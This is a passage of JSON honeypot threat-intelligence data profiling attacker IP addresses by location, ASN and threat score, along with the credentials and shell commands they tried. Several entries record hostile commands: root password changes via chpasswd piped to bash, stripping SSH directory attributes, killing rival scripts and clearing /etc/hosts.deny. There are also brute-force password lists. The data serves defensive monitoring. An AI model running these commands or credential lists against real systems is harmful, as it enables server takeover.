        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:07:51.733000+00:00",
        "last_seen_30d": "2026-05-07T08:09:07.775000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "203.134.220.152": {
      "attack_count": 2,
      "first_seen": "2026-05-24T22:23:29.721Z",
      "last_seen": "2026-05-24T22:24:00.599Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T22:23:29.721000+00:00",
        "last_seen_30d": "2026-05-24T22:25:10.550000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.130": {
      "attack_count": 2,
      "first_seen": "2026-05-12T17:21:07.659Z",
      "last_seen": "2026-05-12T17:21:38.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 66.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.8,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 24,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T18:00:24.062000+00:00",
        "last_seen_30d": "2026-05-29T14:30:05.885000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 10,
        "Cowrie": 2
      }
    },
    "205.210.31.39": {
      "attack_count": 2,
      "first_seen": "2026-05-27T21:42:35.266Z",
      "last_seen": "2026-05-27T21:42:35.571Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:23:36.131000+00:00",
        "last_seen_30d": "2026-05-31T22:08:52.614000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 29,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "41.188.109.80": {
      "attack_count": 2,
      "first_seen": "2026-05-08T17:00:43.120Z",
      "last_seen": "2026-05-08T17:00:58.046Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mauritania",
      "country_code": "MR",
      "city": "Nouakchott",
      "asn": 29544,
      "as_org": "MAURITEL",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:00:43.120000+00:00",
        "last_seen_30d": "2026-05-08T17:02:02.595000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.2.44.48": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:04:08.854Z",
      "last_seen": "2026-05-08T01:04:39.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:04:08.854000+00:00",
        "last_seen_30d": "2026-05-08T01:05:42.025000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.142.170.13": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:52:59.849Z",
      "last_seen": "2026-05-02T20:53:13.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Broccostella",
      "asn": 205051,
      "as_org": "Connetta Srl",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:52:59.849000+00:00",
        "last_seen_30d": "2026-05-02T20:54:14.484000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.89.28.113": {
      "attack_count": 2,
      "first_seen": "2026-05-25T13:02:09.992Z",
      "last_seen": "2026-05-25T13:02:41.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T13:02:09.992000+00:00",
        "last_seen_30d": "2026-05-25T13:03:50.953000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "74.103.195.202": {
      "attack_count": 2,
      "first_seen": "2026-05-12T04:15:19.571Z",
      "last_seen": "2026-05-12T04:15:31.797Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Pawtucket",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:15:19.571000+00:00",
        "last_seen_30d": "2026-05-12T04:16:40.758000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.211.143.230": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:59:23.510Z",
      "last_seen": "2026-05-11T03:59:37.410Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8781,
      "as_org": "Ooredoo Q.S.C.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:59:23.510000+00:00",
        "last_seen_30d": "2026-05-11T04:00:38.892000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.196.40.189": {
      "attack_count": 1,
      "first_seen": "2026-05-03T00:40:50.049Z",
      "last_seen": "2026-05-03T00:40:50.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T00:40:50.049000+00:00",
        "last_seen_30d": "2026-05-03T00:40:50.049000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1
      }
    },
    "206.81.2.201": {
      "attack_count": 3382,
      "first_seen": "2026-05-19T14:02:09.628Z",
      "last_seen": "2026-05-26T00:35:15.150Z",
      "sessions": 1691,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5750,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:02:09.628000+00:00",
        "last_seen_30d": "2026-05-26T00:36:45.590000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3382,
        "Suricata": 2368
      }
    },
    "14.225.217.138": {
      "attack_count": 569,
      "first_seen": "2026-05-11T21:17:09.730Z",
      "last_seen": "2026-05-31T21:44:03.658Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "mysql",
        "ali",
        "ec2-user",
        "user",
        "wan",
        "ansadmin",
        "autrede",
        "cardano",
        "deploy",
        "ftpusers",
        "git_user",
        "marina",
        "sysadmin",
        "test",
        "test1",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "p@ssw0rd",
        "#EDC4rfv",
        "1",
        "11",
        "121314",
        "123",
        "123123",
        "123321",
        "12345",
        "123456",
        "1q2w3",
        "1q2w3e4r5t",
        "654321",
        "Password123",
        "Sy123456",
        "Test123!@#",
        "User123",
        "access"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"11\\n0yB9CZ94r1J9\\n0yB9CZ94r1J9\\n\"|passwd",
        "echo \"123\\nvcgBC3bLIgTk\\nvcgBC3bLIgTk\\n\"|passwd",
        "echo \"654321\\nHvsR4GjlPIqm\\nHvsR4GjlPIqm\\n\"|passwd",
        "echo \"p@ssw0rd\\nUSmSb9GMx5og\\nUSmSb9GMx5og\\n\"|passwd",
        "echo \"root:pp5do9PK3Edi\"|chpasswd|bash",
        "echo -e \"11\\n0yB9CZ94r1J9\\n0yB9CZ94r1J9\"|passwd|bash",
        "echo -e \"123\\nvcgBC3bLIgTk\\nvcgBC3bLIgTk\"|passwd|bash",
        "echo -e \"654321\\nHvsR4GjlPIqm\\nHvsR4GjlPIqm\"|passwd|bash",
        "echo -e \"p@ssw0rd\\nUSmSb9GMx5og\\nUSmSb9GMx5og\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 690,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:17:09.730000+00:00",
        "last_seen_30d": "2026-05-31T21:45:07.257000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 569,
        "Suricata": 121
      }
    },
    "170.79.37.88": {
      "attack_count": 391,
      "first_seen": "2026-05-02T21:34:40.983Z",
      "last_seen": "2026-05-20T12:08:37.271Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "debian",
        "ubuntu",
        "administracion",
        "administrador",
        "claude",
        "deployer",
        "ftpuser",
        "mysql",
        "odoo",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        ")",
        "0619",
        "112233",
        "112345",
        "12345",
        "123456!",
        "12345678",
        "123asdasd",
        "123qwe",
        "1972Oct19!!!",
        "1qwe2qaz",
        "7777",
        "Edu123",
        "P@55w0rd!@#",
        "P@ssw0rd",
        "Qaz12345@",
        "User@2024",
        "Welcome01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HPBSi2dML2eu\"|chpasswd|bash",
        "echo \"root:M7skflnnSOOj\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:34:40.983000+00:00",
        "last_seen_30d": "2026-05-20T12:09:40.294000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 391,
        "Suricata": 123
      }
    },
    "13.67.236.135": {
      "attack_count": 312,
      "first_seen": "2026-05-18T03:48:12.449Z",
      "last_seen": "2026-05-29T18:59:00.963Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "farmacia",
        "bkp",
        "it",
        "pb",
        "postgres",
        "sambauser",
        "server",
        "tim",
        "trung",
        "ubuntu",
        "vpn",
        "ying"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234",
        "123546",
        "123abc!!!",
        "13579",
        "2big4you",
        "Cx123456.",
        "K0nig@12",
        "Passw0rd!",
        "Password1",
        "aa123",
        "asdf0987",
        "bkp",
        "debbie",
        "elsje",
        "farmacia",
        "fishing",
        "homer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"farmacia\\nwMcuvaP2sTZ2\\nwMcuvaP2sTZ2\\n\"|passwd",
        "echo \"root:RthWx7LlWnPI\"|chpasswd|bash",
        "echo -e \"farmacia\\nwMcuvaP2sTZ2\\nwMcuvaP2sTZ2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T03:48:12.449000+00:00",
        "last_seen_30d": "2026-05-29T19:00:06.818000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 89
      }
    },
    "43.134.94.154": {
      "attack_count": 311,
      "first_seen": "2026-05-19T22:14:10.889Z",
      "last_seen": "2026-05-19T22:43:47.590Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "rodrigo",
        "admin",
        "cesar",
        "claude",
        "ddd",
        "leo",
        "odoo17",
        "readonly",
        "ubuntu",
        "upgrade",
        "vintagestory"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123456Qwe",
        "123@",
        "1qaZXsw2",
        "Claude2026!",
        "Q1w2e3r4t5!",
        "Qwe123456789",
        "abc@123!@#",
        "cesar",
        "ddd",
        "deploy@2022",
        "dj123456",
        "k8s@2023",
        "leo123",
        "password123",
        "qwertyu",
        "rodrigo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy@2022\\nK2pCwXT7EwQL\\nK2pCwXT7EwQL\\n\"|passwd",
        "echo \"rodrigo\\ne43Qv6wcBIGC\\ne43Qv6wcBIGC\\n\"|passwd",
        "echo \"root:WDqRdCKTihRq\"|chpasswd|bash",
        "echo -e \"deploy@2022\\nK2pCwXT7EwQL\\nK2pCwXT7EwQL\"|passwd|bash",
        "echo -e \"rodrigo\\ne43Qv6wcBIGC\\ne43Qv6wcBIGC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:14:10.889000+00:00",
        "last_seen_30d": "2026-05-19T22:44:52.169000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 60
      }
    },
    "152.244.206.148": {
      "attack_count": 304,
      "first_seen": "2026-05-06T00:54:19.834Z",
      "last_seen": "2026-05-06T03:01:00.759Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "es",
        "guest",
        "odoo",
        "test",
        "admin_123",
        "deploy",
        "devuser",
        "ftp_test",
        "madmin",
        "matt",
        "postgres",
        "server1",
        "sftpuser",
        "superadmin",
        "tempuser1",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123",
        "12345",
        "123456",
        "1qazXSW@3edc",
        "54321",
        "654321",
        "Pass",
        "Password1!",
        "Qwerty123.",
        "admin",
        "admin69",
        "admin_123",
        "asdlkj",
        "devuser@1234",
        "es123123",
        "ftp_test",
        "letmein"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"odoo@2024\\nOYXzqCn9XxMX\\nOYXzqCn9XxMX\\n\"|passwd",
        "echo \"qwert12345\\nYKBN5qLJ9T0D\\nYKBN5qLJ9T0D\\n\"|passwd",
        "echo -e \"odoo@2024\\nOYXzqCn9XxMX\\nOYXzqCn9XxMX\"|passwd|bash",
        "echo -e \"qwert12345\\nYKBN5qLJ9T0D\\nYKBN5qLJ9T0D\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 396,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:54:19.834000+00:00",
        "last_seen_30d": "2026-05-06T03:02:04.849000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 92
      }
    },
    "43.153.22.143": {
      "attack_count": 304,
      "first_seen": "2026-05-18T13:26:05.237Z",
      "last_seen": "2026-05-18T13:50:59.019Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@123456789",
        "Changeme123",
        "Explorer",
        "abc123456.",
        "admadm",
        "apache!@",
        "bookkeeper",
        "dagifi1980",
        "deploy123",
        "dino",
        "heather",
        "marco2006",
        "oracle123",
        "os10+ZTE",
        "postgres123",
        "qwemnb",
        "red5",
        "rootme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Pqq96OAtEFvx\"|chpasswd|bash",
        "echo \"root:TRwiNllNxHPf\"|chpasswd|bash",
        "echo \"root:k5r6TkuOfuzo\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:26:05.237000+00:00",
        "last_seen_30d": "2026-05-18T13:52:02.434000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "138.197.26.189": {
      "attack_count": 300,
      "first_seen": "2026-05-10T13:19:55.463Z",
      "last_seen": "2026-05-11T01:44:04.004Z",
      "sessions": 150,
      "ports": [],
      "usernames_attempted": [],
